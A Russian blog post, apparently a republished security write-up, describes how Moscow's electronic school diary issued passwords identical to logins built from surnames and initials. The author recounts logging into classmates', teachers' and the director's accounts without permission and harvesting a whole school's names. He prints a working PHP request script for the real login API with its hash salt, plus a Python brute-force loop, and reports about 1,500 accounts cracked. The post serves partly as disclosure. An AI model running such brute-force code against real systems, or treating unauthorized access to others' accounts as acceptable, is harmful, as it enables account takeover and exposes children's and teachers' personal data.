Почему важно не выдавать пользователям простой пароль

в 10:56, , рубрики: брутфорс, гос. порталы, дневник, информационная безопасность, образование

В начале года во всех (ну почти) школах Москвы ввели новый электронный дневник. Его использование было обязательно. Разработчиком этого «великолепного» творения был Департамент ИТ города Москвы. Хоть и красивый дизайн, который доступен пользователям Chrome, внушал, что журнал хорош, на деле было наоборот. Фронтенд был написан на Angular, который, используя API дневника, получал все пользовательские данные. Из-за большой нагрузки со всех школ Москвы или плохой оптимизации, скорость работы дневника была низкой и иногда он даже не был доступен. Учителя жаловались о том, что оценки не выставляются и домашнее задание не сохраняется. Ученики и их родители были не довольны кривым отображением расписания и сообщений от учителей. По поводу отсутствия кроссбраузерности и поддержки мобильных девайсов на фоне всего не очень сильно переживали. Также кроме багов и медленной скорости работы была и «особенность».

Особенность генерации логинов

Посмотрев на свой логин, я заметил особенность, что он состоял из фамилии, первой буквы имени и первой буквы отчества (всё это транслитерируется) и пароль был таким же. Например, у Иванова Ивана Ивановича будет логин и пароль ivanovii, у Сидорова Петра Сергеевича будет sidorovps. В случаи «я» будет меняться на «ya», а не на «ia», и «ц» на «c».

Я решил проверить предположение и взял имя, фамилию и отчество одноклассника и успешно авторизовался под его аккаунтом. Потом я проделал те же действия, взяв имя, фамилию и отчество учителя, и успешно авторизовался под его аккаунтом. Получается любой ученик мог авторизоваться под учителем и менять свои оценки? Я, конечно, понимаю, что у нас в стране не особо занимаются обеспечением безопасности и приватности персональных данных детей (ФИО и даже оценки — персональные данные), но учителя (может быть не все учителя), они не понимают, что можно побеспокоиться о безопасности своих аккаунтов. Самое классное было то, что после я получил доступ к аккаунту директора гимназии, однако позже выяснил, что он не имеет особых привилегий и прав.

Немного покапав модуль сообщений, я смог украсть фамилии, имена и отчества всей школы — учеников, их родителей и учителей. То есть, получив доступ к аккаунту Васи, я мог украсть персональные данные всей его школы и, взломав небольшое количество аккаунтов, я мог украсть перс. данные многих людей. Дальше я решил проверить, правда ли то, что персональные данные большого количества людей находятся под угрозой.

Брутфорс по логинам

Брутфорс проводился по логинам сгенерированными по выше описанным особенностям и при переборе пароль был эквивалентен логину. Авторизация у журнала шла через их API, которое выдавало auth_token (при правильном логине и пароле) или ошибку (при неправильном логине/пароле). Отправляемые данные состояли из

  • login — логин в стандартном виде
  • password_hash — md5(pass + «4f8202ccd76210b47b40627c621daa56»)

Хеш генерированная на стороне клиента и отправлялся Ajax запросом вместе с логином на API. Не видел, чтобы где-нибудь в крупном продукте или проекте авторизация происходила так. Странная строка, добавляемая к концу пароля, добавлялась, наверное, для криптостойкости — чтобы хеш трудно было взломать, если его перехватят.

Я написал php скрипт, который принимал login, создавал хеш пароля, с помощью cUrl отправлял запрос на API журнала и возвращал ответ, который состоял из:

  • id — идентификатор пользователя
  • email — E-mail пользователя (по умолчанию: логин@example.com)
  • type — тип аккаунта («teacher», «student», «parent»)
  • school_id — идентификатор школы
  • school_shortname — название школы
  • first_name — имя
  • last_name — фамилия
  • middle_name — отчество
  • authentication_token — токен, который кладётся в cookie, а при следующий запросов на API отправляется в виде HTTP-Header'a
  • password_change_required — если «true», журнал предложит сменить пароль
  • date_of_birth — дата рождения
  • sex — пол

<?php
$data = array("login" => $_GET['login'], "password_hash" => md5($_GET['login'].'4f8202ccd76210b47b40627c621daa56')); // Создаём массив с логином и хешом пароля
$data_string = json_encode($data); // Конвертируем в JSON
$ch = curl_init('https://dnevnik.mos.ru/lms/api/sessions');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Для того чтобы SSL работал
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Accept: application/vnd.api.v2+json', 
    'Content-Type: application/json;charset=UTF-8',
    'Referer: https://dnevnik.mos.ru/auth',
    'Origin: https://dnevnik.mos.ru',
    'Content-Length: ' . strlen($data_string))
);

$result = curl_exec($ch);
echo $result; // Выводим ответ API журнала
?>

Сама прога для брутфорса была написана на Python, она отправляла запрос на сервер, где был php скрипт, и записывала ответ в файл, если авторизация проходила успешно.

import urllib.request
def tryToHack(login):
    try:
        ans = urllib.request.urlopen("http://*******.koding.io/php.php?login="+login).read()
        ans = str(ans)
        if not str(ans).find("authentication_error") > 1:  # Если авторизация прошла успешно, записываем в файл
            print(ans[ans.find("'") + 1:-1], file=fout)
    except:
        pass

fin = open("fam.txt", "r")  # Файл с фамилиями
fout = open("out.txt", "w")
surnames = fin.readlines()
for i in range(len(surnames)):
    surnames[i] = surnames[i].rstrip()
alp = [chr(i) for i in range(ord('a'), ord('z') + 1)]  # Массив английского алфавита
for i in surnames:      # Перебираем фамилии
    for j in alp:       # Перебираем первую букву имени
        for k in alp:   # Перебираем первую букву отчества
            tryToHack(i + j + k)

Статистика ущерба

Я перебрал популярные фамилии (по моему мнению): Иванов, Иванова, Петров, Петрова, Сидороа, Сидорова, Гончаров и Гончарова. Получается 8 * 26 * 26 (кол-во фамилий * кол-во букв в английском алфавите * кол-во букв в английском алфавите) = 5408 логинов и паролей. Из около 1500 были верные. Около половины из них были с «password_change_required»: true, но пароли никто не менял.

image

Вывод

Не стоит вручать пользователям простые пароль, выдавать один пароль на все аккаунты по умолчанию или устанавливать пароль равный логину. Данную «особенность» я нигде больше не видел, так что это вторичное напоминание разработчикам этого «чуда».

Автор: subirdcom

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js